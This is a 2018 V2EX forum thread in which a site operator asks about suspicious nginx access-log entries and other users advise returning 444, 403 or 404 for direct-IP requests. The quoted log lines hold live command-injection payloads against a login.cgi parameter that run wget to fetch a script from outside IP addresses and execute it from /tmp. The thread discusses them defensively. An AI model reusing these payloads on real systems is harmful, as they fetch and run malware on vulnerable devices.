V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
NGINX
NGINX Trac
3rd Party Modules
Security Advisories
CHANGES
OpenResty
ngx_lua
Tengine
在线学习资源
NGINX 开发从入门到精通
NGINX Modules
ngx_echo
bephbin
V2EX  ›  NGINX

nginx 安全问题

  •  1
     
  •   bephbin · 2018-08-22 00:02:28 +08:00 · 5657 次点击
    这是一个创建于 2285 天前的主题,其中的信息可能已经有所发展或是发生改变。

    翻看 access.log 时发现有 2 条记录疑似 web 攻击

    日志的格式是这样的: '$remote_addr | $remote_user | $host | $http_host [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'

    41.42.156.85 | - | _ | - [21/Aug/2018:17:06:15 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.32.32.156/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0" "-"

    208.102.74.74 | - | _ | - [21/Aug/2018:20:16:31 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/1.1" 400 173 "-" "Gemini/2.0" "-"

    我从日志也看不出是通过哪个 host 访问的

    请问这个 400 状态会有安全问题吗?

    能否把这种请求返回 444 状态码?

    14 条回复    2018-08-24 10:28:38 +08:00
    billlee
        1
    billlee  
       2018-08-22 00:07:11 +08:00
    扫描而已,不用太紧张
    voocel
        2
    voocel  
       2018-08-22 02:19:08 +08:00 via Android
    不要慌,问题不大
    iCodex
        3
    iCodex  
       2018-08-22 03:49:42 +08:00
    实在是不爽的话?把这些流量全部 302 跳转到你想他们看到的地方去,比如你也搞个蜜罐,或者放一些恐怖恶心的东西?反正人家不是通过你的域名进来的,考虑那么多干嘛呢~
    Livid
        4
    Livid  
    MOD
       2018-08-22 04:12:33 +08:00
    如果看不出是从哪个 host 访问的,那么很可能就是直接从 IP 访问的。

    这种扫描本身问题不大,但是让你的服务暴露在 IP (或者任意域名)下面,是一个更大的问题。
    lslqtz
        5
    lslqtz  
       2018-08-22 04:56:28 +08:00
    对 IP 的访问,我认为返回 403 是一种合适的选择,除非是你想要看到的特定条件( UA/Host/IP )。
    luozic
        6
    luozic  
       2018-08-22 05:24:12 +08:00 via iPhone
    非合法链接直接跳个统一 404
    totland
        7
    totland  
       2018-08-22 08:56:32 +08:00
    ip 访问 return444 就行了
    sujin190
        8
    sujin190  
       2018-08-22 09:52:30 +08:00
    如果是用云的话,似乎无论是阿里云、腾讯云还是 ucloud,他们都有常规的 web 漏洞扫描,不过也影响不大
    huangzxx
        9
    huangzxx  
       2018-08-22 11:27:49 +08:00
    ip 访问,返回 444

    ```
    server {
    listen 80 default_server;
    server_name _;
    return 301 https://$host$request_uri;
    }

    server {
    listen 443 default_server ssl http2;
    server_name _;

    include ssl/ssl.conf;

    location / {
    return 444;
    }

    access_log off;
    }

    ```
    bephbin
        10
    bephbin  
    OP
       2018-08-22 19:25:03 +08:00
    @iCodex
    @Livid
    @luozic
    @sujin190
    @huangzxx


    谢谢各位的回答

    自己用 telnet ip 80 的方式重现了日志里的 400 错误。问题是 nginx 对于这种方式的请求是怎么处理的,能返回 444 吗?
    luozic
        11
    luozic  
       2018-08-22 20:49:29 +08:00
    返回 444 干吊,直接扔 404 默认不行么?
    Livid
        12
    Livid  
    MOD
       2018-08-23 10:29:52 +08:00
    有的时候你会遇到一种尴尬的恶意情况,就是有人把不属于你的域名指到你的 IP。如果这个 IP 还是一个国内的 IP,那么有可能当地的通管局就会通过 ISP 找你麻烦说未备案域名指向,这种情况下,符合通管局要求的处理方式就是返回 404。
    ztlong
        13
    ztlong  
       2018-08-24 10:11:27 +08:00
    不看不知道,看到这条帖子把所有非注册的主机名访问日志全打了出来,发现这个 IP 一直发 CONNECT,查了好像是代理请求,我的机器是被当跳板了么,返回不成功还一直试,难道是越挫越勇?
    [24/Aug/2018:07:57:06 +0800] 50.118.255.23 - "http://proxyjudge.us" - "GET http://proxyjudge.us/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
    [24/Aug/2018:07:57:07 +0800] 50.118.255.23 - "http://-" - "CONNECT www.alipay.com:443 HTTP/1.1" 400 173 "-" "-" "-"
    [24/Aug/2018:09:01:08 +0800] 50.118.255.23 - "http://fr.cyberpods.net" - "GET http://fr.cyberpods.net/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
    ztlong
        14
    ztlong  
       2018-08-24 10:28:38 +08:00
    这个是日志格式:'[$time_local] $remote_addr - "$scheme://$http_host" $remote_user "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2868 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 07:51 · PVG 15:51 · LAX 23:51 · JFK 02:51
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.